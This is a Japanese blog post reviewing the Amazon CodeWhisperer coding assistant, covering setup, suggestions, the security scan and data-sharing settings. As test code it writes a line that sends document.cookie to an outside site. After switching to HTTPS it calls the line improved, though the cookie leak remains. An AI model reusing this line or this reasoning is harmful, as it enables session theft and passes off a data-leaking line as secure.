広告

Amazon CodeWhispererを試してみた

Amazon CodeWhispererを試してみた AI

当サイトではアフィリエイト広告を利用しています。

広告

はじめに

今回は、AIコーディング支援サービスである、Amazon CodeWhispererを試してみました。

類似サービスのGitHub Copilotについて、試してみた記事も参考にしてください。

【GitHub Copilot】登録方法と長期利用の感想
GitHub Copilotを試してみました。登録方法の解説や、実際に試した結果をまとめました。

AIを活用することにより、初心者の方でもプログラミングに対するハードルは下がると思いますし、ベテランエンジニアでも不具合対応やよりよいコードを提案してもらえたらとても便利だと思います。

AIにコーディングをサポートしてもらうのが当たり前になっていくでしょう。

Amazon CodeWhispererについて

Amazon CodeWhispererは、開発環境 (IDE) でリアルタイムのコード提案を行ってくれます。

2022年にプレビュー版が公開されましたが、今回正式版になりました。

Amazon Q Developer
Amazon Q Developer は、ソフトウェアの構築、運用、変換を行うための最も有能な生成 AI 搭載アシスタントで、データと AI/ML を管理するための高度な機能を備えています。

個人の場合は無料で利用することができます。
また、コードのセキュリティスキャンを行うことができます。

サポートされている言語は現時点で以下です。

Python, Java, JavaScript, TypeScript, C#, Rust, Go, Ruby, Scala, Kotlin, PHP, C, C++, Shell Scripting, SQL

コードセキュリティスキャンは、現時点で以下の言語に対応しています。

Python, Java, JavaScript

今回は、個人利用ですので無料版を試します。
別途、有料のプロフェッショナル版もあります。

AWSアカウントを持っている必要はなく、メールアドレスのみで利用することができます。

インストール

様々なIDEをサポートしていますが、今回はVS Codeを利用します。
VS Codeのインストール方法は、以下の記事にまとめましたのでご覧ください。

【VS Code】インストール手順を解説 【Windows/M1 Mac対応】
今回はVS Codeのインストール手順を解説します。WindowsとMacのそれぞれ分けてまとめました。

VS Codeのオススメ設定や拡張機能などは、以下の記事にまとめました。

【VS Code】オススメの設定・拡張機能・便利機能・ショートカット【Win/Mac対応】
私的に最初に行う設定や、拡張機能、よく使うショートカットや便利な機能をまとめてみました。

VS Codeを起動します。
拡張機能を開き、「AWS Toolkit」をインストールします。

AWS Toolkit

アカウント登録

AWSパネルを開き、「Connect to AWS to Get Started…」をクリックします。

VS Code Connect to AWS to Get Started...

「Use a personal email to sign up and sign in with AWS builder ID」を選択します。

VS Code Use a personal email to sign up and sign in with AWS builder ID

「Copy Code and Proceed」をクリックし、コードをコピーします。

Copy Code and Proceed

Webサイトを開きます。

Code Webサイトを開く

先ほどコピーしたコードを入力します。

AWS authorize request

メールアドレスを入力し、AWSビルダーIDを作成します。

AWS ビルダーIDの作成

名前を入力します。
名前は他のユーザにも表示される可能性があるとのことです。

AWS Create your AWS Builder ID

メールアドレスに検証コードが届きますので入力します。

AWS Email verification

パスワードを設定します。

AWS パスワードを選択

「Allow」をクリックします。

これで使う準備が完了しました。

AWS Toolkit for VSCode
広告

コーディング

それでは試してみましょう。
「Resume Auto-Suggestions」をクリックし、有効にします。

Resume Auto-Suggestions

コーディングを行うと、コードの提案を行ってくれました。

Amazon CodeWhisperer コード提案

セキュリティスキャンも試してみましょう。
スキャンしたいソースコードを開き、「Run Security Scan」をクリックします。

Amazon CodeWhisperer Run Security Scan

適当なコードを書きました。

location.href = 'http://chigusa-web.com/?cookie=' + document.cookie;

一つ問題を発見してくれました。

Amazon CodeWhisperer 問題発見

暗号化されていないための警告です。コードをhttpsに変更したところ、改善されました。

CWE-319 - Insecure connection using unencrypted protocol: Connections that use insecure protocols transmit data in cleartext. This introduces a risk of exposing sensitive data to third parties.

データの共有について

CodeWhispererは、AWSのサービス改善の目的で、使用状況とコンテンツに関するデータを保存する場合があります。

Amazon Web Services Documentation

VS Codeで無効にする方法は以下です。

テレメトリの共有

「Enable AWS Toolkit to send usage data to AWS.」のチェックをオフにします。

Amazon CodeWhisperer Enable AWS Toolkit to send usage data to AWS

コンテンツの共有

「Share CodeWhisperer Content With AWS」のチェックをオフにします。

Amazon CodeWhisperer Share CodeWhisperer Content With AWS

注意点

提案されたコードが正しいかどうかは、必ず確認する必要があります。
不具合・脆弱性がある場合や、提案されたコードよりもっと良いコードがあるかもしれません。

AI全般に言えることですが、正確性は自分で判断しましょう。

さいごに

今回は、AIコーディング支援サービスである、Amazon CodeWhispererを試してみました。
コーディングをするのが便利になるでしょう。

是非試してみてください。

AIツール
広告

個人開発

千草 @chigusaweb

現役のITエンジニア。 気ままにコードを書いたり技術情報を発信しています。 Webアプリ/Windows・Macアプリ/モバイルアプリなど。 (Java, PHP, Javascript, Swift, Python, C#, 他) 個人開発:Clibor, Quipha, TXT-Crypter, 符計算特訓, チグサツール Kindle本: Laravel9 実践入門, 他

クリップボード履歴

Clibor

Windows

Cliborはシンプルで高機能なクリップボード履歴ソフトです。 また普段よく使うワードを定型文として登録し、いつでもクリップボードに保存することができます。高度なテキスト整形・FIFOモード・ホットキーに対応。

クリップボード履歴

Windows版Cliborの利便性を、そのままMacでも。 定型文登録、高度なテキスト整形、FIFOモードなど、便利なクリップボード履歴機能を利用できます。macOS最新のTahoeにも対応。

テキスト暗号化

テキストを暗号化してURLで共有・保存できる無料サービスです。 パスフレーズを知る人だけが復号できます。登録不要、データはサーバーに保存されません。 Notionでも利用できます。

学習

Quipha

Web / iOS

自分だけの問題集や問題を作成し、クイズを行い、学習に活用することができるアプリです。 例えば、学校の授業、語学学習、IT資格やその他の資格など多彩な分野での学習を支援します。 いつでも、どこでも、あなたの学習をサポート。

ツール

日常の「ちょっとした効率化」をサポートするWeb便利ツール集。 テキスト・データ処理から最新のAI連携まで、日々のちょっとした手間でググりがちなユーティリティを1つの場所に集約。

麻雀

麻雀の符計算をひたすら特訓しマスターしましょう。 初心者の方はもちろん、もっと速く計算したい方にも役立ちます。 5万対局以上の実践から問題を収録。

コメント

タイトルとURLをコピーしました